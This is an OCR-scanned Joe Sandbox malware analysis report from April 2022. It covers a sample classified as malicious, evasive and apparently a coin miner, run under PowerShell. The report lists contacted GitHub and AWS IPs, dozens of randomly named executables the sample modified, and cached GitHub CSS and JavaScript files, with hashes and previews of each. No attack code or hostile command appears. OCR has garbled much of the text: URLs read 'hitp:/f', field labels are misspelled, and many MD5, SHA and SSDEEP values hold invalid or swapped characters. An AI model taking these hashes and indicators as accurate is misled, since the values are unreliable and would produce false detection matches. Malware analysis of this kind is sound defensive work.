hitp:/f https://github.githubassets.com/images/modules/site/icons/footer/github-mark.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/community-discussions-1.png false e Avira URL Cloud: safe unknown
hitp://https://avatars.githubusercontent.com/hashicorp?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-test.png false e Avira URL Cloud: safe unknown
hitp:// https://github.githubassets.com/assets/github-5661da47685a.css false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/community-sponsor-2.png false e Avira URL Cloud: safe unknown
hitp:// https://github.githubassets.com/assets/environment-bec046a69997.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-success.svg false e Avira URL Cloud: safe unknown
hitp:/f https://github.githubassets.com/assets/frameworks-6903f4471853.css false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/runtime-51fc180fd3a8.js false e Avira URL Cloud: safe unknown
hitp:// https://github.githubassets.com/images/modules/site/home/astro-mona.svg false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/matrix-workflow-build.png false e Avira URL Cloud: safe unknown
hitp://https://avatars.githubusercontent.com/gatsbyjs?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/nome/codeq|-description.png false e Avira URL Cloud: safe unknown
hitp://https://avatars.githubusercontent.com/npm?s=64&v=4 false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/iphone-notch.svg false e Avira URL Cloud: safe unknown
hitp://https://github.githubassets.com/assets/8932-24fle0ea55c2.js false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/images/modules/site/home/actions-spinner.svg false e Avira URL Cloud: safe unknown
hitp:/f https://github.githubassets.com/images/modules/site/home/community-discussions-2.png false e Avira URL Cloud: safe unknown
http://https://github.githubassets.com/assets/site-c0607420942f.css false e Avira URL Cloud: safe unknown

World Map of Contacted IPs

»
I..
] No. of IPs < 25%
B 25% < No. of IPs < 50%
Bl 50% < No. of IPs < 75% R
B 75% <No. of IPs
Public IPs
P Domain Country Flag ASN ASN Name Malicious
185.199.108.133 avatars.githubusercontent Netherlands = 54113 FASTLYUS false
.com
185.199.108.154 github.githubassets.com  Netherlands =] 54113 FASTLYUS false
140.82.121.3 github.com United States £S5 36459 GITHUBUS false
3.120.98.217 unknown United States =] 16509 AMAZON-02US false
185.199.111.133 raw.githubusercontent.co  Netherlands = 54113 FASTLYUS false
m
Private
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P

192.168.2.1

General Information

Joe Sandbox Version:

Analysis ID:

Start date and time: 20/04/202215:06:10
Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings

TCP Packets have been reduced to 100

e o o o

34.0.0 Boulder Opal

612095

2022-04-20 15:06:10 +02:00
CloudBasic

Oh 16m 10s

false

light

t9TtulOQal (renamed file extension from none to exe)

default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

42

o O o o

HCA enabled
EGA enabled
HDC enabled
AMSI enabled

L]
L]
L]
L]
default
Timeout
MAL
mal100.evad.mine.WinEXE@161/244@4/6

e Successful, ratio: 100%

e Successful, ratio: 40.8% (good quality ratio 27.4%)

e Quality average: 41.8%
e Quality standard deviation: 36.4%

Failed

e Adjust boot time
e Enable AMSI

Created / dropped Files have been reduced to 100
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, displaycatalog.m

p.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com

e o o o o

Simulations

Behavior and APIs

Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing b ehavior and disassembly information.
Report creation exceeded maximum time and may have missing d isassembly code information.

Report size exceeded maximum capacity and may have missing b ehavior information.
Report size exceeded maximum capacity and may have missing d isassembly code.

Description

Time Type

15:07:28 API Interceptor
15:07:29 API Interceptor
15:07:30 API Interceptor
15:07:31 API Interceptor
15:07:32 API Interceptor
15:07:33 API Interceptor
15:07:34 API Interceptor

Copyright Joe Security LLC 2022

1x Sleep call for process

45x Sleep call for process: powershell.exe modified

1x Sleep call for process
1x Sleep call for process
1x Sleep call for process
1x Sleep call for process

1x Sleep call for process

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe

: uyinQiQ.exe modified

: EqjbEoF.exe modified
: xfTIPLt.exe modified

: SphOrRR.exe modified
: pFPFzsF.exe modified

: gNIhNvn.exe modified
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Time

15:07:35
15:07:36
15:07:43
15:08:08
15:08:09
15:08:10
15:08:11
15:08:13
15:08:14
15:08:17
15:08:18
15:08:20
15:08:21
15:08:22
15:08:23
15:08:24
15:08:25
15:08:26
15:08:27
15:08:28

15:08:29

Joe Sandbox View / Context

IPs

@ No context

Domains

@ No context

ASNs

@ No context

JA3 Fingerprints

@ No context

Dropped Files

©@ No context

Type

API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor
API Interceptor

API Interceptor

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\2WF3MMUU\behaviors-76 de0719b85a[1].css

Description

1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:
1x Sleep call for process:

1x Sleep call for process:

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 225146

Entropy (8bit):  4.92498203737269

Encrypted: false

wzZdyFs.exe modified
jNieygN.exe modified
ESsAvrN.exe modified
elCKJjV.exe modified
muxfLeg.exe modified
JXaKkbf.exe modified
ZQlhpPj.exe modified
NvBIBmE.exe modified
emWQJVL.exe modified
stDgizl.exe modified
KMucPon.exe modified
WmJzbhD.exe modified
iDVoGZo.exe modified
zUtbfaW.exe modified
LIHIifL.exe modified
GVCGjmH.exe modified
oywlyRw.exe modified
gMOVsdQ.exe modified
bcWhMHX.exe modified
VDhYVpi.exe modified

SMixvgz.exe modified

SSDEEP: 1536:LUtVgTpBGazZxPXII5xFQrvSviGOveDTOddog5kDmOdpVPulZh:kzsXIrxOVSvl7Zh

Copyright Joe Security LLC 2022
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MD5:
SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

1AB9858DFE4AEDB94C3C27B80F05DCBD
3D42C5FAT5A57TEB6ADAF817577E7D4080D32D176
AF9877E7AA4FF855833E236F56006CADD334B896FFSBESC4F13D54167DAE771C

76DE0719B85ADA066508D5FASAABOEE4BAAC3A01E68477424AF00DB63803AFA4F2F389099AAES69350D7220E8557F60C8F7A80D7935E4B9ED12D9BDDDEODOS
D8

false
unknown

/¥, * @primer/css/product. * http://primer.style/css. *. * Released under MIT license. Copyright (c) 2019 GitHub Inc.. */.flash{position:relative;padding:20px 16px;border-
style:solid;border-width:1px;border-radius:6px}.flash p:last-child{margin-bottom:0}.flash .octicon{margin-right:12px}.flash-messages{margin-bottom:24px}.flash-close{flo
at:right;padding: 16px;margin:-16px;text-align:center;cursor:pointer;background:none;border:0;-webkit-appearance:none;appearance:none}.flash-close:hover{opacity:
.7}.flash-close:active{opacity:.5}.flash-close .octicon{margin-right:0}.flash-action{float:right;margin-top:-3px;margin-left:24px; background-clip:padding-box}.flash-action.btn
.octicon{margin-right:4px;color:var(--color-fg-muted)}.flash-action.btn-primary{background-clip:border-box}.flash-action.btn-primary .octicon{color:inherit}.flash{color:var(--
color-fg-default);background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle));border-color:var(--color-accent-muted)}.fl

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\dark-d4a90c367f0c[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

54432

4.9365323284757725

false
1536:hWi5MFI2ujck1y23FhOvf7WisMFI2ujckly23FhOviMWIiSMFI2ujckly23FhOvf+: T
B307D6DDFA847EB485F7522E98F5C55A
4BDEBE3F9008D1F43352D49ABDA74971F65A03A2
A8544C843DE01432615A83F9A31EF84B503B02074A6574D1E864FB564CE29FF8
D4A90C367FOCFDA97F76DCC12EEA51C2420E82703D316926F28C52FACA253FCEE307212F63F838066A312E2851A2029C5F5A1B3E77F8629EDD23465358EFAS8
false

unknown

[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgha(13,17,23,0);--color-page-header-
bg: #0d1117;--color-marketing-icon-primary: #79cO0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg:
#c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,1
60,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgha(248,81,73,0.3);--color-diff-blob-deletion-
line-bg: rgha(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgha(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgbha(56,139,253,0.4);--color-diff-blob-expander-icon:
#8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-additi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\2WF3MMUU\frameworks-6903f4471853[1].css

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

UTF-8 Unicode text, with very long lines

dropped

218507

5.036229674804923

false
6144:0/1g+3Kr5czYU1wX00d4yA/PIZKhGXVOEM3VyOI70LHAp6c5bimFn4FZ:0/Ig+85czYU1wX00d4yA/PIZKhGXVOEQ
71EF7BEF8143F7088024F55D792D895B

FC395182C1EC54BC14DD4C4AAB49B86AB02A939F
56B20BB8BD23B99B44A65F150AF687D1AA497F4C32D66114C75FDBAA3B7CAAFL
6903F44718534094CE4950B00047753241152C24DF2175DF17AB40624F924352893D6C6781E11F04D78F68959DE88D15F46C7C8224DD856A6DE92143CA56037E
false

unknown

:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light}{color-scheme:light}@media(prefers-color-scheme: light){[data-color-
mode=auto][data-light-theme*=light]{color-scheme:light}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{color-scheme:light}}[data-
color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{color-scheme:dark}@media(prefers-color-scheme: light){[data-color-mod
e=auto][data-light-theme*=dark]{color-scheme:dark}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{color-scheme:dark}}[data-col
or-mode]{color:var(--color-fg-default);background-color:var(--color-canvas-default)}@media(forced-colors: active){body{--color-accent-emphasis: Highlight;--color-fg-on-em
phasis: LinkText}}/*1. * @primer/css/core. * http://primer.style/css. *. * Released under MIT license. Copyright (c) 2019 GitHub Inc.. */.ActionList{padding:8px}.ActionList--
fulfp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\light-92c7d381038e[1].css

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASCII text, with very long lines

dropped

54661

4.951436537248461

false
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SSDEEP: 1536:PsBcHIsFSIRBmYpkKG4/4Pj9AfduyGsBcHIsFSIRBmMY pkKG4/4Pj9AfduyZsBcHT:+

MDS5: 6019A52BAA811BB81A7E163DD29FDF52

SHA1L: B901ED91FCF27A30AECA15C05C56EBE04AC7ACDOA

SHA-256: 3CCAC8D5CICOE2976C488D9IF8449CECFEA675421D33D9C6C1F871C716DA13F1C

SHA-512: 92C7D381038E9C4F851577FEC8D7D58CA4A511C90901DBIF1486062BB66346159C660CC019CI99AAA02BAEO30BAGEF74170B61A9C097E2574380A5DB99531EB!
Malicious: false

Reputation: unknown

Preview: :root,[data-color-mode=light][data-light-theme=light],[data-color-mode=dark][data-dark-theme=light]{/*! */}:root,[data-color-mode=light][data-light-theme=light],[data-color-

mode=dark][data-dark-theme=light]{--color-canvas-default-transparent: rgha(255,255,255,0);--color-page-header-bg: #{6f8fa;--color-marketing-icon-primary: #218bff;--col
or-marketing-icon-secondary: #54aeff;--color-diff-blob-addition-num-text: #24292f;--color-diff-blob-addition-fg: #24292f;--color-diff-blob-addition-num-bg: #CCFFD8;--color-
diff-blob-addition-line-bg: #E6FFEC;--color-diff-blob-addition-word-bg: #ABF2BC;--color-diff-blob-deletion-num-text: #24292f;--color-diff-blob-deletion-fg: #24292f;--color-
diff-blob-deletion-num-bg: #FFD7D5;--color-diff-blob-deletion-line-bg: #FFEBE9;--color-diff-blob-deletion-word-bg: rgba(255,129,130,0.4);--color-diff-blob-hunk-num-bg:
rgba(84,174,255,0.4);--color-diff-blob-expander-icon: #57606a;--color-diff-blob-selected-line-highlight-mix-blend-mode: multiply;--color-diffstat-de

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\1717-85e1b724ca10[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 11805

Entropy (8bit):  5.256493156829818

Encrypted: false

SSDEEP: 192:9cUgfWwOUsIzULUUjfVIGURLxke Tsi88WjymOREwUa4iFh1Anis3704ScRE9kG04:qcUa5vUYujfOtLucsi88W2myEBadiFhP

MD5: C10A633E653979219F85054F44C1266F

SHA1L: 07F810F27CB4569F80CED106EAE2FIF5A7C4D58A

SHA-256: ECECAFD7D43C209BC648D464155717AC19149B4A679DOCEDCO07F3045AB3FD485

SHA-512: 85E1B724CA10AB776E7158F4AE47BB8B15D1E875385CAB5294D9CA43AB860C3F898CA99CASESD18810509D7D5B891C3D177DCACAA92ABFBC227C85AFE2512
FD

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var K=Object.defineProperty;var i=(z,D)=>K(z,"name" {value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([[1717],

{46263:(z,D,0)=>{0.d(D {D:()=>a,P:()=>L});function L(T,x=0,{start:m=!0,middle:g=!0,once:p=!1}={}){let E=0,k,A=!1;function w(...h){if(A)return;const c=Date.now()-E;E=
Date.now(),m?(m=!1,T.apply(this,h),p&&w.cancel()):(g&&c<x||!g)&&(clearTimeout(k), k=setTimeout(()=>{E=Date.now(), T.apply(this,h),p&&w.cancel()},g?x-c:x))}return
i(w,"fn"),w.cancel=()=>{clearTimeout(k),A=!0},w}i(L, "throttle");function a(T,x=0 {start:m=!1,middle:g=!1,once:p=!1}={}){return L(T,x,{start:m,middle:g,once:p})}i(a,"debou
nce")},96776:(z,D,0)=>{0.d(D,{_8:()=>L,uQ:()=>a});function L(m,g){return a(T(m),g)}(L,"preserveAnchorNodePosition");function a(m,g){var p=m;if(!p)return Promis
e.resolve(g());var E=p.ownerDocument.documentElement;function k(h){for(var c=[];h;){var v=h.getBoundingClientRect(),y=v.top,S=v.left;c.push({element:h,top:y,lef
t:S}),h=h.parentElem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\2486-d89868d3cb25[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 23800

Entropy (8bit):  5.10964837180584

Encrypted: false

SSDEEP: 384:W33pmEgwC4/ySh8eL9bVZqrWwVG8nT8leS9FD723581dMihWwOz+x0J3BdWuOWDb3v:E3pmEgwh/ySh8elL.9JpVG8nT8leSLD726

MDS5: 28CD2EAFCC3EDB103AF7EE7F113F6D38

SHA1L: 23F0D2C154F760BA0A8B0BFOF6067771ADEAF33A0

SHA-256: 61E2D67D3E3665D21B2630DD1A2F083FDF9A312CBBE24DAADIEBI79E2BD6785A

SHA-512: D89868D3CB255A7221A9D3848F7338AAA11BE72F6352827F084ED8SABES32FAFF17234F558ED953DAFBE1391029A87B1BC8773F104AE2BDBBFA56C1BD598C1D:
6

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var x=0bject.defineProperty;var a=(y,v)=>x(y,"name" {value:v,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([[2486],

{76745:(y,v,w)=>{w.d(v,{Z:()=>t});function m(i){const r=document.createElement("pre");return r.style.width="1px" r.style.height="1px",r.style.position="fixed",r.styl
e.top="5px",r.textContent=i,rta(m,"createNode");function f(i){if("clipboard"in navigator)return navigator.clipboard.write Text(i.textContent);const r=getSelection();if(r==
null)return Promise.reject(new Error);r.removeAllRanges();const s=document.createRange();return s.selectNodeContents(i),r.addRange(s),document.execCom
mand(“copy"),r.removeAllRanges(),Promise.resolve()}a(f,"copyNode");function b(i){if("clipboard"in navigator)return navigator.clipboard.write Text(i);const r=document.body;
if(Iryreturn Promise.reject(new Error);const s=m(i);return r.appendChild(s),f(s),r.removeChild(s),Promise.resolve()}a(b,"copyText");function d(i){const r=i.getAttribute("
for"),s=i.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\3682-e91f7f4f1ce8[1]).js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 12374
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Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

5.404547467873243

false
384:8BuHQ6asxdxIPHhxkSsNvPdphhClIbZIpAXSg1Wi/OvhmmljenKynsvSD/:suHQPsuPHhxkSsNvPXhhClIbZImXSg1C
8D0A78D5C22302F4C946550ACE441536

B88140169BE83CF8B20394605B316EBC8348C3B6
80D61A5D69D1008ECBEE200FC5B2A10B4018F936D36E228621027372083C6DFA

E91F7F4F1CE83D4C10D4D2FBFE1IED1AB267D2AB278C843AD8927D4AF0051BF7549212F9781DDAB68F68E49928D381184E2EEA684A3FDIDIADC150FEAGACAD
A

false
unknown

"use strict";(()=>{var me=0Object.defineProperty;var t=(R,S)=>me(R,"name" ,{value:S,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk(||[]).push([
[3682],{43682:(R,S,d)=>{d.d(S {ZP:()=>M,y0:()=>le});var h=d(40728),u=d(7143),s=d(14037),f=d(31756),p=d(10900),9=d(83476);const I=20;let a,m=null;function i(r,0,e)
{return r.dispatchEvent(new CustomEvent(o,{bubbles:!0,cancelable:!0,detail:e}))}(i,"dispatch");async function M(r){var o,e,n,_;const c={push:!0,replace:!1,type:"GET",d
ataType:"html",scrollTo:0,...r};c.requestUrl=c.url;const y=q(c.url).hash,E=c.container,j=z(E);a||(a={id:C(),url:window.location. href title:document.title,container:j,frag

ment:c.fragment},(0,h.10)(a,a.title,a.url)),m==null||m.abort();const{signal:w}=m=new AbortController;c.push===10&&c.replace!==10&&(ae(a.id,Z(E)),(0,h.gA)(null," c.reques
turl)),i(E,"pjax:start” {url:c.url}),i(E,"pjax:send");let x;const b=se();try{x=await fetch(c.url,{signal:w,method:c.type,body:c.data,headers:{Accept:"text/html","X-PJAX":

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\CS6IXJW6\3706-a9e5e1421754[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

72073

5.465619523225401

false
1536:RNTOsZkxRw5vLNLIU60y61H7U4I8IRqG]GU35mA0D001pCOYkV740k6fdrRGIdB0:502kkRf4IR(G]S|Zey8M
49AC2DB18138FB2AD79D03BC55EAFDSF

EE3E3B2F9E81917170378186AD6413A663866A1A
E55D60E228F4CDBF283E2D7ED15EC87580A951BB6007CC92488B602970BB2B4A
A9E5E142175492CA2F8E17CEEBB43CBAD66493FAF713111EE801F87E6B2C444154F3462B3A11962338328E44A923065280B539CCO5EC009F98A0C74C2F632889
false

unknown

"use strict";(()=>{var dt=Object.defineProperty;var i=(J,K)=>dt(J,"name" {value:K,configurable:!0});(globalThis.webpackChunk=global This.webpackChunk||[]).push([[3706],
{57260:(J,K,U)=>{U.d(K {P:()=>T});class T{constructor(e,d){this.file=e,this.directory=d,this.state="pending" this.id=null this.href=null,this.name=null this.percent=0}static
traverse(e,d){return x(e,d)}static from(e){const d=[J;for(const k of e)if(k instanceof File)d.push(new T(k));else if(k instanceof T)d.push(k);else throw new Error("Unexpected
type");return d}get fullPath(){return this.directory? ${this.directory}/${this.file.name} :this.file.name}isimage()}{return["image/gif","image/png","image/jpg","image/jpeg","i
mage/svg+xml“].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(e){if(this.state!=="pending"&&this.state!=="sa
ving")throw new Error("Unexpected transition from ${this.state} to saving’);this.state="saving" this.percent=e}saved(e){var dk,q;if(this.st

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\3826-6af63b920599[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

ASCII text, with very long lines

dropped

27181

5.352988085445153

false

768:xmCzrxsKo6XHHW36RHelbRBn9zcIM4Tcz7davPKuy9Dch4nayMv+UOanY 7nPbvJk:cCX+4DzvosnKgEMFBgd3zoXLkuU
E15DB869CADBD94BA5D1A221E20D55F8

2A09896B1DAC23C34D0OAC29D10F981E84083E75C
BC87CFAE41F750ABD266C9AAFBAAIBE94DE23F60B5FBEEFF0719D244BAA73D23
6AF63B9205998B6D1D716E5480D9222AB81B38ABC9196D2402B6E441C03D316431D1246326FE0970A1CD74C377A3A30BFA29C63DDF226F5FA7244085E552792E
false

unknown

"use strict";(()=>{var ie=Object.defineProperty;var 0=(0,x)=>ie(O,"name" {value:x,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[3826],
{1314:(O,x,)=>{l.d(x,{N:()=>p,x:()=>_});var y=1(34782);let h=null;(async function(){await y.x,c()})();function p(i)}{_(a(i))}o(p,"announceFromElement");function _(i){!h||(h.
textContent="",h.textContent=i)}o(_,"announce");function c(}{h=document.createElement("div"),h.setAttribute("aria-live","polite"),h.classList.add("sr-only"),document.body
.append(h)}o(c,"createNoticeContainer");function a(i){return(i.getAttribute("aria-label")||i.innerText||"").trim()}o(a,"getTextContent")},83954:(0,x,)=>{var y=1(64463),h
=1(58797);(0,y.N7)(".js-check-all-container",{constructor:HTMLElement,subscribe:h.Z})},79046:(O x,l)=>{l.d(x,{O4:()=>R,jo:()=>D,Qp:()=>P});var y=1(70130),h=I(59
753);const p="ontransitionend"in window;function _(f,b){if(!p){b();return}const T=Array.from(f.querySelectorAll(".js-transitionable"));f.classList.contains("js-

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\CS6IXJW6\3932-24b9e74cf858([1].js

Process:
File Type:
Category:
Size (bytes):

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ASCII text, with very long lines

dropped

18763
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Entropy (8bit):  5.3607256389086935

Encrypted: false

SSDEEP: 384:MtoOKWvvMXqrhZf8gc3CWVyZKE8bI+FOONOffF/K+frMG3vBdCPCIGhWN1laWLL9:QBKWvWMXqrhZf8gMZV+KE8bI+EOQffF3

MDS5: 5770716EFEDF6F0D22E1439E417F271B

SHAL: 62CACE08505DE3B1768CECB15FEEB4801B4DA2D7

SHA-256: 199DF452943DEAA2A4645DBB449E050E3C37D4BA491177BC41583CDC4D5982EF

SHA-512: 24B9E74CF85877ACFB93583B0A338850AE18411BEAOB3BD236A46AE861FCB5E9CF8720D55570E9FFF725C0B192F7165CD3BFE485B9FFA08E8D354514539BE23
D

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var ne=Object.defineProperty;var n=(M,w)=>ne(M,"name" {value:w,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([

[3932],{52134:(M,w,u)=>{u.d(w,{H:()=>f,v:()=>p});var h=u(59753);function p(){const a=document.getElementByld("ajax-error-message");a&&(a.hidden=!1)}n(p,"showGlo
balError");function f(){const a=document.getElementByld("ajax-error-message");a&&(a.hidden=!0)}n(f,"hideGlobalError"),(0,h.on)("deprecatedAjaxError","[data-remo
te]",function(a){const r=a.detail {error:|,text:E}=r;a.currentTarget===a.target&&(I==="abort"||| canceled"||(/<html/.test(E)?(p(),a.stoplmmediatePropagation()):setTime
out(function(){a.defaultPrevented||p()},0)))}),(0,h.on)("deprecatedAjaxSend","[data-remote]",function(){f()}),(0,h.on)("click"," js-ajax-error-dismiss",function(){f()})},82453:
(M,w,u)=>{u.d(w{Ty:()=>p,YE:()=>f,Zf:()=>a});var h=u(11793);const p=n(()=>{const r=document.querySelector("meta[name=keyboard-shortcuts-preference]");return r?r.co
ntent==="a

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\5222-6b85a0658795(1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 12989

Entropy (8bit):  5.172866612165083

Encrypted: false

SSDEEP: 384:hoDjy8mfPqzALj28dInhGWWitXztsjNY Qo46GyUBQwcVi7B4YjukeukLBi7BJIwc:uDjy8mfSzALj28dInhGWOIiJztsjNY QoM

MD5: 01F1960B1077F57A03BC9959E1752799

SHA1L: EF2E934018247BEOA1B3E230D086BE11AE688351

SHA-256: 1FC9981F807E5A7193C78FFC2AFFF0977C319EC7C9E48565EA051E321CA01244

SHA-512: 6B85A065879573668AAC73F239F626EAE63B55CC3DEA03BO1EA461B3A86436A9E11CIBI90B87FDE2EBDCA2613A252DC7860095653429BD4F0F82E70BC1292D7
A

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var z=Object.defineProperty;var p=(D,L)=>z(D,"name" {value:L configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[5222],

{77546:(D,L,m)=>{m.d(L,{z:()=>C});var h=m(59753),M=m(51374),T=m(52660),0=m(86404),A=m(78694),v=m(64463),u=m(65935),E=m(74136);let r=[];(0,v.N7)(".js-
comment-header-actions-deferred-include-fragment”,{subscribe:e=>(0,0.RB)(e,"loadstart",()=>{const t=e.closest(".js-comment");d(t)},{capture:!1,once:!0})}),(0,v.N7)(" js-
comment .contains-task-list",{add:e=>{const t=e.closest(".js-comment");d(t)}}),(0,h.on)("click",".js-comment-edit-button",function(e){const t=e.currentTarget.closest(".js-
comment”);t.classList.add("is-comment-editing");const o=g(t);0?0.addEventListener(“include-fragment-replaced",()=>s(t),{once:!0}):s(t);const n=e.currentTarget.closest
(".js-dropdown-details");n&&n.removeAttribute(“open*)});function s(e){e.querySelector(".js-write-tab").click();const t=e.querySelector(".js-comment-field");t.focus(),(0,h.f)
(t,"cha

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\CS6IXJW6\5329-98db7da29ab9[1].js

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: ASCII text, with very long lines

Category: dropped

Size (bytes): 9350

Entropy (8bit):  5.268401757425965

Encrypted: false

SSDEEP: 192:q0J6UduQHCkiymjXhodxnvd/x80crxnbKqoArblIQ6XZBONO5UFOeWQmOBW:q0JZHCzymDWdxvd/x80AnbKgoArbpvXI

MD5: 8B88B5257A5BFC7CA1CCEAE18773E933

SHAL: C621DDD77F1AE049256E3BB5709C2B90A87EBEO2

SHA-256: A5A58ABCDESD53173CBDC8A4D72F9ADFBC6A43727557F3B640DD6B3FBOFOEGB6

SHA-512: 98DB7DA29AB98F2A9E65D58C576E5DAAES773DE009664FCD1417DD18C51B4CDEC9077E3816566EE89AFC83F89E186CBEDECCB944403FB995CCDO69862AA3)
973

Malicious: false

Reputation: unknown

Preview: "use strict";(()=>{var W=0bject.defineProperty;var c=(x,F)=>W(x,"name",{value:F,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk]|[]).push([[5

329],{75329:(x,F,_)=>{_.d(F,{nJ:()=>h});const I=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday"," Saturday"],R=["January","February","March","April"
